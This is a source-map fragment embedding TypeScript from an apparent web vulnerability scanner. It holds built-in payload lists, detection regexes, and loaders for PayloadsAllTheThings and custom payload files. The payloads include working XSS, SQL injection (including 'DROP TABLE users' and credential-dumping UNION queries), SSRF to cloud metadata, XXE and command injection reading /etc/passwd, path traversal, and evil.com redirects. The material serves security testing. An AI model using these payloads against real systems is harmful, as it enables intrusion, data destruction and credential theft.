{\n // XSS Payloads\n \"xss-basic\": {\n name: \"xss-basic\",\n category: \"xss\",\n description: \"Basic XSS payloads with script tags and event handlers\",\n source: \"builtin\",\n payloads: [\n '<script>alert(\"XSS\")</script>',\n '<img src=x onerror=alert(\"XSS\")>',\n '\"><script>alert(\"XSS\")</script>',\n \"javascript:alert('XSS')\",\n '<svg onload=alert(\"XSS\")>',\n ],\n detectPatterns: [\n /<script[^>]*>alert\\(/i,\n /onerror\\s*=\\s*alert\\(/i,\n /onload\\s*=\\s*alert\\(/i,\n /javascript:alert\\(/i,\n ],\n },\n \"xss-event\": {\n name: \"xss-event\",\n category: \"xss\",\n description: \"XSS via event handlers\",\n source: \"builtin\",\n payloads: [\n '\" onfocus=\"alert(1)\" autofocus=\"',\n \"' onmouseover='alert(1)'\",\n '<body onload=alert(\"XSS\")>',\n \"<input onfocus=alert(1) autofocus>\",\n \"<marquee onstart=alert(1)>\",\n \"<video src=x onerror=alert(1)>\",\n \"<audio src=x onerror=alert(1)>\",\n ],\n detectPatterns: [\n /onfocus\\s*=\\s*[\"']?alert/i,\n /onmouseover\\s*=\\s*[\"']?alert/i,\n /onload\\s*=\\s*[\"']?alert/i,\n /onstart\\s*=\\s*[\"']?alert/i,\n /onerror\\s*=\\s*[\"']?alert/i,\n ],\n },\n \"xss-svg\": {\n name: \"xss-svg\",\n category: \"xss\",\n description: \"XSS via SVG elements\",\n source: \"builtin\",\n payloads: [\n '<svg/onload=alert(\"XSS\")>',\n \"<svg><script>alert(1)</script></svg>\",\n \"<svg><animate onbegin=alert(1)>\",\n \"<svg><set onbegin=alert(1)>\",\n '<svg><foreignObject><iframe srcdoc=\"<script>alert(1)</script>\">',\n ],\n detectPatterns: [\n /<svg[^>]*onload\\s*=/i,\n /<svg[^>]*>.*<script>/i,\n /onbegin\\s*=\\s*alert/i,\n ],\n },\n \"xss-polyglot\": {\n name: \"xss-polyglot\",\n category: \"xss\",\n description: \"XSS polyglot payloads that work in multiple contexts\",\n source: \"builtin\",\n payloads: [\n \"jaVasCript:/*-/*`/*\\\\`/*'/*\\\"/**/(/* */oNcLiCk=alert() )//\",\n \"'\\\"-->]]>*/</script><script>alert(1)</script>\",\n \"<img src=x:x onerror=alert(1)//\",\n \"'-alert(1)-'\",\n '\"><img src=x onerror=alert(1)>',\n ],\n detectPatterns: [/alert\\s*\\(\\s*\\d*\\s*\\)/i, /<script>/i, /onerror\\s*=/i],\n },\n\n // SQL Injection Payloads\n \"sqli-basic\": {\n name: \"sqli-basic\",\n category: \"sqli\",\n description: \"Basic SQL injection payloads\",\n source: \"builtin\",\n payloads: [\n \"' OR '1'='1\",\n \"' OR '1'='1' --\",\n \"1' OR '1'='1\",\n \"admin'--\",\n \"' UNION SELECT NULL--\",\n \"1; DROP TABLE users--\",\n ],\n detectPatterns: [\n /sql.*syntax/i,\n /mysql.*error/i,\n /ORA-\\d{5}/i,\n /pg_query/i,\n /sqlite.*error/i,\n /unclosed.*quotation/i,\n ],\n },\n \"sqli-error\": {\n name: \"sqli-error\",\n category: \"sqli\",\n description: \"SQL injection payloads to trigger errors\",\n source: \"builtin\",\n payloads: [\n \"'\",\n \"''\",\n \"`\",\n '\"',\n \"')\",\n \"'\\\"\",\n \"1' AND '1'='2\",\n \"1 AND 1=2\",\n \"1'1\",\n \"1 exec sp_\",\n ],\n detectPatterns: [\n /sql.*syntax/i,\n /mysql.*error/i,\n /ORA-\\d{5}/i,\n /postgresql.*error/i,\n /sqlite.*error/i,\n /quoted.*string.*properly.*terminated/i,\n /ODBC.*Driver/i,\n /Microsoft.*ODBC/i,\n ],\n },\n \"sqli-blind\": {\n name: \"sqli-blind\",\n category: \"sqli\",\n description: \"Blind SQL injection payloads (timing-based)\",\n source: \"builtin\",\n payloads: [\n \"1' AND SLEEP(5)--\",\n \"1; WAITFOR DELAY '0:0:5'--\",\n \"1' AND (SELECT COUNT(*) FROM information_schema.tables)>0--\",\n \"1' AND (SELECT SUBSTRING(@@version,1,1))='5'--\",\n \"1 AND SLEEP(5)\",\n ],\n detectPatterns: [\n // Blind SQLi is detected by timing, not content patterns\n ],\n },\n \"sqli-union\": {\n name: \"sqli-union\",\n category: \"sqli\",\n description: \"UNION-based SQL injection payloads\",\n source: \"builtin\",\n payloads: [\n \"' UNION SELECT NULL--\",\n \"' UNION SELECT NULL,NULL--\",\n \"' UNION SELECT NULL,NULL,NULL--\",\n \"' UNION SELECT 1,2,3--\",\n \"' UNION SELECT username,password FROM users--\",\n \"1 UNION SELECT ALL FROM information_schema.tables--\",\n ],\n detectPatterns: [\n /sql.*syntax/i,\n /column.*count/i,\n /different.*number.*columns/i,\n ],\n },\n\n // SSRF Payloads\n \"ssrf-basic\": {\n name: \"ssrf-basic\",\n category: \"ssrf\",\n description: \"Server-Side Request Forgery payloads\",\n source: \"builtin\",\n payloads: [\n \"http://localhost\",\n \"http://127.0.0.1\",\n \"http://[::1]\",\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://metadata.google.internal/\",\n \"http://0.0.0.0\",\n \"file:///etc/passwd\",\n \"dict://localhost:11211/\",\n \"gopher://localhost:25/_HELO\",\n ],\n detectPatterns: [\n /root:.*:0:0/i, // /etc/passwd content\n /ami-id/i, // AWS metadata\n /instance-id/i,\n /\\{\"Code\"\\s*:/i, // Cloud metadata JSON\n ],\n },\n\n // XXE Payloads\n \"xxe-basic\": {\n name: \"xxe-basic\",\n category: \"xxe\",\n description: \"XML External Entity injection payloads\",\n source: \"builtin\",\n payloads: [\n '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>',\n '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://localhost\">]><foo>&xxe;</foo>',\n '<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\">]><foo>&xxe;</foo>',\n '<?xml version=\"1.0\"?><!DOCTYPE data [<!ENTITY file SYSTEM \"php://filter/convert.base64-encode/resource=index.php\">]><data>&file;</data>',\n ],\n detectPatterns: [\n /root:.*:0:0/i,\n /\\[fonts\\]/i, // win.ini content\n /\\[extensions\\]/i,\n ],\n },\n\n // Command Injection Payloads\n \"cmd-basic\": {\n name: \"cmd-basic\",\n category: \"command-injection\",\n description: \"OS command injection payloads\",\n source: \"builtin\",\n payloads: [\n \"; id\",\n \"| id\",\n \"& id\",\n \"&& id\",\n \"|| id\",\n \"`id`\",\n \"$(id)\",\n \"; cat /etc/passwd\",\n \"| cat /etc/passwd\",\n \"& whoami\",\n \"| whoami\",\n \"; dir\",\n \"| dir\",\n ],\n detectPatterns: [\n /uid=\\d+\\([\\w]+\\)/i, // Unix id command output\n /root:.*:0:0/i,\n /Volume Serial Number/i, // Windows dir output\n /Directory of/i,\n ],\n },\n\n // Path Traversal Payloads\n \"path-traversal\": {\n name: \"path-traversal\",\n category: \"path-traversal\",\n description: \"Directory traversal payloads\",\n source: \"builtin\",\n payloads: [\n \"../../../etc/passwd\",\n \"..\\\\..\\\\..\\\\windows\\\\win.ini\",\n \"....//....//....//etc/passwd\",\n \"..%2f..%2f..%2fetc/passwd\",\n \"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd\",\n \"..%252f..%252f..%252fetc/passwd\",\n \"/etc/passwd\",\n \"C:\\\\Windows\\\\win.ini\",\n ],\n detectPatterns: [/root:.*:0:0/i, /\\[fonts\\]/i, /\\[extensions\\]/i],\n },\n\n // Open Redirect Payloads\n \"open-redirect\": {\n name: \"open-redirect\",\n category: \"open-redirect\",\n description: \"Open redirect payloads for phishing\",\n source: \"builtin\",\n payloads: [\n \"//evil.com\",\n \"https://evil.com\",\n \"/\\\\evil.com\",\n \"//evil.com/%2f..\",\n \"////evil.com\",\n \"https:evil.com\",\n \"//evil%E3%80%82com\",\n \"javascript:alert(document.domain)\",\n ],\n detectPatterns: [\n // Open redirects are detected by observing the redirect behavior\n ],\n },\n};\n\n/**\n * Get all built-in payload names\n */\nexport function getBuiltinPayloadNames(): string[] {\n return Object.keys(BUILTIN_PAYLOADS);\n}\n\n/**\n * Get all built-in categories\n */\nexport function getBuiltinCategories(): PayloadCategory[] {\n const categories = new Set<PayloadCategory>();\n for (const payload of Object.values(BUILTIN_PAYLOADS)) {\n categories.add(payload.category);\n }\n return Array.from(categories);\n}\n","/**\n * PayloadBox Loader\n * Fetches payloads from PayloadsAllTheThings GitHub repository\n */\n\nimport type { RuntimePayload, PayloadCategory } from \"@vulcn/engine\";\n\n/**\n * Supported PayloadBox types\n */\nexport type PayloadBoxType =\n | \"xss\"\n | \"sql-injection\"\n | \"xxe\"\n | \"command-injection\"\n | \"open-redirect\"\n | \"path-traversal\";\n\n/**\n * PayloadsAllTheThings URLs - raw GitHub content\n */\nconst PAYLOADBOX_URLS: Record<PayloadBoxType, string> = {\n xss: \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XSS%20Injection/Intruders/IntrudersXSS.txt\",\n \"sql-injection\":\n \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/SQL%20Injection/Intruder/Auth_Bypass.txt\",\n xxe: \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XXE%20Injection/Intruders/xxe_payloads.txt\",\n \"command-injection\":\n \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Command%20Injection/Intruder/command_exec.txt\",\n \"open-redirect\":\n \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Open%20Redirect/Intruder/Open-Redirect-payloads.txt\",\n \"path-traversal\":\n \"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Directory%20Traversal/Intruder/traversals-8-deep-exotic-encoding.txt\",\n};\n\n/**\n * Map PayloadBox types to our categories\n */\nconst CATEGORY_MAP: Record<PayloadBoxType, PayloadCategory> = {\n xss: \"xss\",\n \"sql-injection\": \"sqli\",\n xxe: \"xxe\",\n \"command-injection\": \"command-injection\",\n \"open-redirect\": \"open-redirect\",\n \"path-traversal\": \"path-traversal\",\n};\n\n/**\n * Cache for fetched payloads\n */\nconst cache: Map<PayloadBoxType, RuntimePayload> = new Map();\n\n/**\n * Get available PayloadBox types\n */\nexport function getPayloadBoxTypes(): PayloadBoxType[] {\n return Object.keys(PAYLOADBOX_URLS) as PayloadBoxType[];\n}\n\n/**\n * Check if a type is a valid PayloadBox type\n */\nexport function isPayloadBoxType(type: string): type is PayloadBoxType {\n return type in PAYLOADBOX_URLS;\n}\n\n/**\n * Load payloads from PayloadBox\n *\n * @param type - PayloadBox type (xss, sql-injection, etc.)\n * @param limit - Maximum number of payloads to include\n * @param fetchFn - Fetch function to use (for testing/DI)\n */\nexport async function loadPayloadBox(\n type: string,\n limit: number = 50,\n fetchFn: typeof fetch = globalThis.fetch,\n): Promise<RuntimePayload> {\n // Validate type\n if (!isPayloadBoxType(type)) {\n throw new Error(\n `Unknown PayloadBox type: ${type}. Available: ${getPayloadBoxTypes().join(\", \")}`,\n );\n }\n\n // Check cache\n const cached = cache.get(type);\n if (cached) {\n return cached;\n }\n\n const url = PAYLOADBOX_URLS[type];\n\n try {\n const response = await fetchFn(url);\n if (!response.ok) {\n throw new Error(\n `Failed to fetch: ${response.status} ${response.statusText}`,\n );\n }\n\n const text = await response.text();\n const payloads = text\n .split(\"\\n\")\n .map((line) => line.trim())\n .filter((line) => line && !line.startsWith(\"#\"))\n .slice(0, limit);\n\n if (payloads.length === 0) {\n throw new Error(`No payloads found in ${type}`);\n }\n\n const payload: RuntimePayload = {\n name: `payloadbox:${type}`,\n category: CATEGORY_MAP[type],\n description: `PayloadsAllTheThings ${type} - ${payloads.length} payloads`,\n payloads,\n detectPatterns: getDefaultPatterns(type),\n source: \"payloadbox\",\n };\n\n // Cache it\n cache.set(type, payload);\n return payload;\n } catch (err) {\n throw new Error(\n `Failed to fetch PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`,\n );\n }\n}\n\n/**\n * Get default detection patterns for PayloadBox types\n */\nfunction getDefaultPatterns(type: PayloadBoxType): RegExp[] {\n switch (type) {\n case \"xss\":\n return [\n /<script[^>]*>alert\\(/i,\n /onerror\\s*=\\s*alert\\(/i,\n /onload\\s*=\\s*alert\\(/i,\n /javascript:alert\\(/i,\n ];\n case \"sql-injection\":\n return [\n /sql.*syntax/i,\n /mysql.*error/i,\n /ORA-\\d{5}/i,\n /pg_query/i,\n /sqlite.*error/i,\n ];\n case \"xxe\":\n return [/root:.*:0:0/i, /\\[fonts\\]/i];\n case \"command-injection\":\n return [/uid=\\d+\\([\\w]+\\)/i, /root:.*:0:0/i];\n case \"open-redirect\":\n return []; // Detected by redirect behavior\n case \"path-traversal\":\n return [/root:.*:0:0/i, /\\[fonts\\]/i, /\\[extensions\\]/i];\n default:\n return [];\n }\n}\n\n/**\n * Clear PayloadBox cache\n */\nexport function clearPayloadBoxCache(): void {\n cache.clear();\n}\n","/**\n * File Loader\n * Loads custom payloads from YAML/JSON files\n */\n\nimport { readFile } from \"node:fs/promises\";\nimport { resolve, isAbsolute, extname } from \"node:path\";\nimport YAML from \"yaml\";\nimport { z } from \"zod\";\nimport type { RuntimePayload, PayloadCategory } from \"@vulcn/engine\";\n\n/**\n * Valid payload categories\n */\nconst PAYLOAD_CATEGORIES: PayloadCategory[] = [\n \"xss\",\n \"sqli\",\n \"ssrf\",\n \"xxe\",\n \"command-injection\",\n \"path-traversal\",\n \"open-redirect\",\n \"custom\",\n];\n\n/**\n * Schema for a single custom payload\n */\nconst CustomPayloadSchema = z.object({\n name: z.string().min(1),\n category: z.enum(\n PAYLOAD_CATEGORIES as [PayloadCategory, ...PayloadCategory[]],\n ),\n description: z.string().optional(),\n payloads: z.array(z.string()).min(1),\n detectPatterns: z.array(z.string()).optional(),\n});\n\n/**\n * Schema for a payload file (can contain multiple payloads)\n */\nconst PayloadFileSchema = z.object({\n version: z.string().optional(),\n payloads: z.array(CustomPayloadSchema),\n});\n\n/**\n * Load multiple payload files\n */\nexport async function loadFromFiles(\n filePaths: string[],\n): Promise<RuntimePayload[]> {\n const payloads: RuntimePayload[] = [];\n\n for (const filePath of filePaths) {\n const loaded = await loadFromFile(filePath);\n payloads.push(...loaded);\n }\n\n return payloads;\n}\n\n/**\n * Load payloads from a single file\n */\nexport async function loadFromFile(\n filePath: string,\n): Promise<RuntimePayload[]> {\n const resolved = isAbsolute(filePath)\n ? filePath\n : resolve(process.cwd(), filePath);\n\n const content = await readFile(resolved, \"utf-8\");\n const ext = extname(resolved).toLowerCase();\n\n // Parse based on extension\n let data: unknown;\n if (ext === \".json\") {\n data = JSON.parse(content);\n } else if (ext === \".yml\" || ext === \".yaml\") {\n data = YAML.parse(content);\n } else {\n throw new Error(\n `Unsupported file extension: ${ext}. Use .yml, .yaml, or .json`,\n );\n }\n\n // Parse and validate\n return parsePayloadData(data);\n}\n\n/**\n * Parse and validate payload data\n */\nfunction parsePayloadData(data: unknown): RuntimePayload[] {\n const dataObj = data as Record<string, unknown>;\n\n let parsed;\n\n if (Array.isArray(data)) {\n // Array of payload objects\n parsed = { version: \"1\", payloads: data };\n } else if (dataObj?.name && dataObj?.category) {\n // Single payload object (has name and category)\n parsed = { version: \"1\", payloads: [CustomPayloadSchema.parse(data)] };\n } else if (dataObj?.payloads && Array.isArray(dataObj.payloads)) {\n // File schema with payloads array\n parsed = PayloadFileSchema.parse(data);\n } else {\n throw new Error(\n \"Invalid payload file format. Expected: array of payloads, file schema, or single payload object\",\n );\n }\n\n // Convert to RuntimePayload[]\n return parsed.payloads.map(\n (p): RuntimePayload => ({\n name: p.name,\n category: p.category,\n description: p.description || `Custom payload: ${p.name}`,\n payloads: p.payloads,\n detectPatterns: parseDetectPatterns(p.detectPatterns),\n source: \"custom\",\n }),\n );\n}\n\n/**\n * Parse detect patterns from strings to RegExp\n */\nfunction parseDetectPatterns(patterns?: string[]): RegExp[] {\n if (!patterns || patterns.length === 0) {\n return [];\n }\n\n const regexps: RegExp[] = [];\n for (const pattern of patterns) {\n try {\n regexps.push(new RegExp(pattern, \"i\"));\n } catch {\n console.warn(`Invalid regex pattern: ${pattern}`);\n }\n }\n return regexps;\n}\n"],"mappings":"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